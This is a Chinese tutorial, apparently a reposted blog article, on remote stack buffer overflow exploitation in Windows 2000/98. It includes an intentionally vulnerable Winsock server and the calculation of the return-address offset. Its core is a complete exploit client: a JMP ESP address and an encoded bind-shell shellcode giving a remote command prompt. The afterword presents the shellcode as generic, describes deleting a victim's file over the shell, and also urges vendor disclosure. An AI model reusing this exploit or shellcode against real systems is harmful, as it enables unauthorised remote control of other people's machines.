window系统下的远程堆栈溢出 --《实战篇》

本文围绕Windows系统下的远程堆栈溢出展开实战讲解。先给出有问题的Internet服务程序,分析其函数问题,接着介绍溢出攻击程序的编写步骤,包括计算溢出地址、查找相关函数地址、编写客户端代码,最后运行程序实现远程控制,强调发现漏洞是为消除漏洞、提高安全。

window系统下的远程堆栈溢出 --《实战篇》


下面是一个有问题的internet服务程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/

#include <winsock2.h>
#include <stdio.h>
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}

int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;

overflow(Buff,lBytesRead);

ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;

}
WSACleanup();
return 0;
}
/****************************************************************************/

函数Overflow有问题,看到了吗?

好,现在我们来写溢出攻击程序:

1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)

下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。

2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe

:004028EC 68F0014200 push 004201F0

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]

好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。

:00402911 51 push ecx

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]

好,KERNEL32.GetProcAddress的入口地址:0x004261E4。

这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */

3)写出client:
/****************************************************************************/
/* client.cpp By Ipxodi
*/

#include <winsock2.h>
#include <stdio.h>
#define WIN2000

#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WIN98
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif

unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;

WSAStartup(MAKEWORD(2,2),&wsa);

sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");

connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);

closesocket(sockFD);
WSACleanup();
return 1;

}
/****************************************************************************/
运行server,然后运行client.之后,telnet localhost 53764,看到了什么?

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

D:\MyProjects\server>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB

D:\MyProjects\server 的目录

2000-04-26 17:52 <DIR> .
2000-04-26 17:52 <DIR> ..
2000-04-25 11:17 <DIR> Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 个文件 100,231 字节
3 个目录 8,688,173,056 可用字节

D:\MyProjects\server>

呵呵,大功告成。


----后记
大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。
使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。
实现对任何已知存在缓冲区溢出问题的程序的远程控制。

事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的
有问题代码。这本身就可以单开一讲来详细阐述。
windows下的Cracker们,你们的破解跟踪技术将在这个领域
得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列
windows缓冲区溢出漏洞。

上面所示的,只不过是一个实验用的server程序,事实上,
我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。

当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,
真是一切尽在掌握。我心中想的,就是:
windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!

因为上述程序的攻击性太强,我就不公布原代码了,我希望
如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,
等待patch出来后,再公布你们的溢出程序。

因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。

----参考书目:
0)ipxodi 《window系统下的堆栈溢出》IsBaseMagzine 20003。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。
2)Backend的《Windows 2000缓冲区溢出入门》 IsBaseMagzine 20004。
3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)


评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值